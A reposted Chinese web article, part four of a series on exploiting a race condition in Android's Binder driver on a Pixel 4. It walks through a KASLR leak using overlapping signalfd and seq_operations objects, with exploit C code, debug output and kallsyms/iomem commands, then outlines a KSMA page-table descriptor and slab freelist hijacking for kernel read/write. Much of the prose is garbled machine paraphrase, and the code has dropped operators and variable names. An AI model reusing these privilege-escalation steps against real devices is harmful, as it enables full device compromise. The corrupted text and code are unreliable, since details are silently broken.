当前位置:首页 > 网络安全 > 正文内容

详细分析Binder中的单指令竞态标准系统漏洞(四)

访客4年前 (2021-04-07)网络安全682

在文中中,大家将为阅读者深层次详细介绍Binder中的单指令竞态标准系统漏洞以及利用方式。

(接好文)

在这节中,大家将利用2个重合的signalfd来完成KASLR泄露,这对大家的随意核心运行内存读/写原语十分有效。

如今大家必须寻找那样的目标:产生重合时,能够给大家出示一个函数指针。因此,大家很有可能会想起signalfd,因为它具备下列作用:

我们可以在为其分派的详细地址处载入一个长短为8字节的值

我们可以在为其分派的详细地址处载入基本上随意的8字节值(用signalfd载入值时,位8和18一直置1)

它不容易造成 崩溃

这促使它可以非常容易地与另一个在其前8字节中具备函数指针的目标开展匹配。在其中,一个关键的备选目标是seq_operations。

struct seq_operations{

void * (*start) (struct seq_file *m, loff_t *pos);

void (*stop) (struct seq_file *m, void *v);

void * (*next) (struct seq_file *m, void *v, loff_t *pos);

int (*show) (struct seq_file *m, void *v);

};

事实上,seq_operations的存储空间是在启用single_open涵数期内分派的,而single_open涵数则是在浏览/proc系统文件的一些文档时开展启用的。针对这儿的exploit而言,大家将应用/proc/self/stat。

这一文档是在proc_stat_init中建立的,开启这一文档时,将调用函数stat_open。

static int __init proc_stat_init(void)

{

proc_create("stat", 0, NULL, &proc_stat_operations);

return 0;

}

fs_initcall(proc_stat_init);

static const struct file_operations proc_stat_operations={

.open =stat_open,

.read =seq_read,

.llseek =seq_lseek,

.release =single_release,

};

static int stat_open(struct inode *inode, struct file *file)

{

unsigned int size=1024 128 * num_online_cpus();

size =2 * nr_irqs;

return single_open_size(file, show_stat, NULL, size);

}

在stat_open涵数中,我们可以可能启用single_open_size涵数,它接着将启用SINGLE_OPEN。

int single_open_size(struct file *file, int (*show)(struct seq_file *, void *),

void *data, size_t size)

{

char *buf=seq_buf_alloc(size);

int ret;

if (!buf)

return -ENOMEM;

ret=single_open(file, show, data);

if (ret){

kvfree(buf);

return ret;

}

((struct seq_file *)file->private_data)->buf=buf;

((struct seq_file *)file->private_data)->size=size;

return 0;

}

single_open将在kmalloc-128缓存文件中开展2次内存分配。第一次是为大家很感兴趣的seq_operations分配内存,第二次是为seq_open中的seq_file分配内存。

在旧版的核心中,这一seq_file目标才会在kmalloc-128缓存文件中分派室内空间;在当今版本号中,该目标将应用自身的专用型缓存文件分派室内空间。假如系统漏洞进攻产生在加上seq_file缓存文件以前的内核版本上,那麼在我们具体必须seq_operations时,就会有很有可能得到重合目标的seq_file的分派室内空间。在操作过程中,大家只必须根据简易的研讨式方式,持续再试并对結果开展过虑,直至获得大家要想的详细地址截止。这一点将在这节后边进一步详细描述。

int single_open(struct file *file, int (*show)(struct seq_file *, void *),

void *data)

{

struct seq_operations *op=kmalloc(sizeof(*op), GFP_KERNEL_ACCOUNT);

int res=-ENOMEM;

if (op){

op->start=single_start;

op->next=single_next;

op->stop=single_stop;

op->show=show;

res=seq_open(file, op);

if (!res)

((struct seq_file *)file->private_data)->private=data;

else

kfree(op);

}

return res;

}

在single_open中,op->start将被设定为single_start。因为signalfd容许大家载入重合的目标的前八个字节数,因而,single_start便是我们要载入的涵数的详细地址,用于完成KASLR泄露。

如前所述,大家也有很有可能得到seq_file的分派室内空间(乃至是由系统软件分派的室内空间)。在这类状况下,我们可以再试分派的seq_operations,直至大家检验到它起功效截止。在这类状况下,一种简易的研讨式方式是将single_start涵数核心偏移减掉signalfd载入的值,并查验16个最少合理位是不是为零:

(kaslr_leak - single_start_offset) & 0xffff==0

另一次分派的存储空间中的值,其前八个字节数中的值不大可能达到这一标准。

留意:我们可以从/proc/kallsyms中查找Android机器设备上single_start涵数的偏移。

flame:/ # sysctl -w kernel.kptr_restrict=0

kernel.kptr_restrict=0

flame:/ # grep -i -e " single_start$" -e " _head$" /proc/kallsyms

ffffff886c080000 t _head

ffffff886dbcfd38 t single_start

根据在类似下边的涵数中完成上边常说的逻辑性,大家最后能够完成需要的KASLR泄露并进到下一步。

int proc_self=open("/proc/self", O_RDONLY);

if (corrupt_fd)

close(corrupt_fd);

uint64_t=get_sigfd_sigmask(overlapping_fd);

debug_printf("Value @X after freeing `corrupt_fd`: 0x%lx", mask);

retry:

for (int i=0; i < NB_SEQ; i ){

seq_fd[i]=openat(proc_self, "stat", O_RDONLY);

if (seq_fd[i]< 0)

debug_printf("Could not allocate seq ops (%d - %s)", i, strerror(errno));

}

mask=get_sigfd_sigmask(overlapping_fd);

debug_printf("Value @X after spraying seq ops: 0x%lx", mask);

kaslr_leak=mask - SINGLE_START;

if ((kaslr_leak & 0xffff) !=0){

debug_print("Could not leak KASLR slide");

for (int i=0; i < NB_SEQ; i ){

close(seq_fd[i]);

}

goto retry;

}

debug_printf("KASLR slide: %lx", kaslr_leak);

結果以下所显示:

[6957]exploit.c:371:trigger_thread_func(): Value @X after freeing `corrupt_fd`: 0x0

[6957]exploit.c:386:trigger_thread_func(): Value @X after spraying seq ops: 0x0

  [6957] exploit.c:394:trigger_thread_func(): Could not leak KASLR slide

  [6957] exploit.c:386:trigger_thread_func(): Value @X after spraying seq ops: 0x0

  [6957] exploit.c:394:trigger_thread_func(): Could not leak KASLR slide

  [6957] exploit.c:386:trigger_thread_func(): Value @X after spraying seq ops: 0x0

  [6957] exploit.c:394:trigger_thread_func(): Could not leak KASLR slide

  [6957] exploit.c:386:trigger_thread_func(): Value @X after spraying seq ops: 0xffffff9995bcfd38

  [6957] exploit.c:405:trigger_thread_func(): KASLR slide: ffffff9994080000

  漏洞利用的下一步,是使用KSMA实现任意读取/写入原语。该技术的要旨是在内核页面全局目录中添加一个条目,以将内核代码镜像到另一个位置,并设置特定的标志,以使其可以从用户态进行访问。

  该方法本身已在Thomas King的BlackHat Asia 2018演示文稿中进行了相应的描述,如果读者还不熟悉该方法的话,则请读者先阅读这份资料。

  我们要向其中添加1Gb的内存块的内核页面全局目录(PGD)是通过符号swapper_pg_dir进行引用的:

  flame:/ # grep -i -e " swapper_pg_dir" /proc/kallsyms

  ffffff886f2***00 B swapper_pg_dir

  The PGD can hold 0x200 entries and the the 1Gb blocks referenced start at address 0xffffff8000000000 (e.g. entry #0 spans from 0xffffff8000000000 to 0xffffff803fffffff). Since we don't want to overwrite an existing entry, we arbitrarily picked index 0x1e0, which corresponds to the address:

  0xffffff8000000000 + 0x1e0 * 0x40000000=0xfffffff800000000

  如果一切按预期进行,我们将能够使用这个基址从用户空间读写内核。

  现在我们知道了目标虚拟地址,下面让我们计算出设备上内核的物理地址。它可以在/proc/iomem中通过搜索“kernel code”找到。如下所示,在我们的Pixel 4设备上,内核物理地址从0x80080000开始。注意,我们将映射到0x80000000,以符合块描述符以GB为单位的对齐标准。

  flame:/ # grep "Kernel code" /proc/iomem

  80080000-823affff : Kernel code

  下一步是创建一个块描述符来桥接内核的物理地址和可从用户空间访问的1GB虚拟内存区间。我们使用的方法是转储其中一个swapper_pg_dir条目,更改物理地址并设置(U) XN/PXN。我们得到了以下值:

  0x00e8000000000751 | 0x80000000=0x00e8000080000751

  我们已经在索引0x1E0处建立了要写入swapper_pg_dir的值,在接下来的部分中,我们将介绍如何使用slab的freelist指针将该描述符写入表中。

  Freelist指针是指向slab中下一个空闲对象的指针。当从slab缓存中释放对象时,分配器将首先在被释放对象的开头处写入当前freelist指针。之后,它将更新freelist指针以指向新释放的内存区域。

  

  如果请求分配内存,则会发生相反的过程。分配器将在freelist指针指向的地址处进行内存空间的分配,然后在分配的内存区域的前8个字节中读取新的freelist指针。

  

  但是,如果我们能够篡改写在slab中的freelist指针,那么我们就可以在任意地址分配一个对象。

  

  了解这一点后,我们对应的策略为:

  使signalfd与释放的对象相互重叠

  修改freelist指针以指向swapper_pg_dir条目

  使用我们的块描述符0x00e8000080000751分配signalfd

  当然,事情并不像看起来那样容易,因为在写入值时signalfd设置了第8和18位。不过,这不会影响块描述符,因为对齐1Gb的内存块时,第8位已经设置并且第18位将被丢弃。但是,根据其值,可能无法用signalfd写入swapper_pg_dir的地址。就本例来说,在Pixel 4的出厂映像QQ3A.200805.001上,swapper_pg_dir的地址将始终以***00结尾。如果我们要用signalfd来写这个地址,因此与PGD中选择的索引无关,那么我们总是以一个以b5xxx|40100=f5xxx的地址结尾,所以实际上会丢失0x40000字节。虽然并非所有内核都是这样(例如某些版本的Android可能具有以f5000结尾的swapper_pg_dir偏移量),但在Pixel 4设备上是不通用的。

  

  为了克服这个问题,我们将分两个阶段完成内存分配,具体如下一节所述。

  在本系列文章中,我们将为读者深入介绍Binder中的单指令竞态条件漏洞及其利用方法。由于篇幅过长,我们将分多篇文章发表,更多精彩内容,敬请期待!

  (未完待续)

扫描二维码推送至手机访问。

版权声明:本文由黑客接单发布,如需转载请注明出处。

本文链接:https://therlest.com/106290.html

分享给朋友:

“详细分析Binder中的单指令竞态标准系统漏洞(四)” 的相关文章

【紧急+重要】勒索病毒解决方案!附:MS17-010补丁下载

  滚动更新:2017年5月13日16:57:22   游侠安全网(良心网站,站长先贴上注意事项和解决方法!防止你看本文的时候就被加密了!   1、本次共计是自动化攻击,利用了Windows的MS17-010。但苹果的MacOS用户不用得意,因为在昨晚之前,我这里得到的好几起勒索攻击案例都是针对...

干洗对衣物有害吗

干洗对衣物有害吗 干洗剂实际上就是有机溶剂,所以对衣服多少都有点危害,只不过高级的干洗剂对衣服损伤小一些而已。 随着人们工作的繁忙和生活节奏的加快,现代人更多地把换下的衣物送到洗衣店干洗,以保证衣服不变形和有更多的时间休闲娱乐,这本是一件提高生活品质的好事,但据最新的研究显示,干洗衣物对身...

Webshell安全检测篇(1)-根据流量的检测方法

一、概述 笔者一直在重视webshell的安全剖析,最近就这段时刻的心得体会和咱们做个共享。 webshell一般有三种检测办法: 依据流量方法 依据agent方法(本质是直接剖析webshell文件) 依据日志剖析方法 Webshell的分类笔者总结如下: 前段时...

松子仁多少钱一斤市场价_2021年松子价格预测

你那还不算最好的,有没有知道价钱的麻烦说一下.丰收的时候,碳水化合物等。市面上零售大概在五六十元一斤,铁6点7毫克和不饱和脂肪酸等营养物质。成吨出厂价就在28万/吨。45一斤应该是开口松子,那要看你是买还是卖了,45一斤应该是开口松子。 滋润皮肤,松子仁估计要100多一斤麻烦采纳,丰收的时候,一斤都...

材质好的膜结构(选择好的膜结构)

具有阻燃和耐高温性能保温性能,门前都有一种跟伞一样的膜结构建筑。为了解决PVC膜结构材料的自洁性问题,防火性与PTFE相比具有一定差距,基布主要采用聚酯纤维和玻璃纤维材料,PVC,聚酰胺类的纤维织物。主要取决于其独特的形态及膜材本身的性能。 在荷载作用下膜结构看台施工的变形较大,恰由于此,有很强的吸...

ems邮政快递查询(ems快递附近网点查询)

一、邮政快递包裹号码查询 北京邮政速递丰丸西路分局鑫源投资部:发货及收货 EMS快递单号:EI061382538CS 时间、地点及跟踪进展北京邮政速递丰丸路分公司西局鑫源投资部:发货及收货2012-02-12 08:19:21北京邮政速递丰丸路分公司西局鑫源投资部:安排发货2012-02-12...

评论列表

笙沉望笑
3年前 (2022-06-04)

00结尾。如果我们要用signalfd来写这个地址,因此与PGD中选择的索引无关,那么我们总是以一个以b5xxx|40100=f5xxx的地址结尾,所以实际上会丢

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。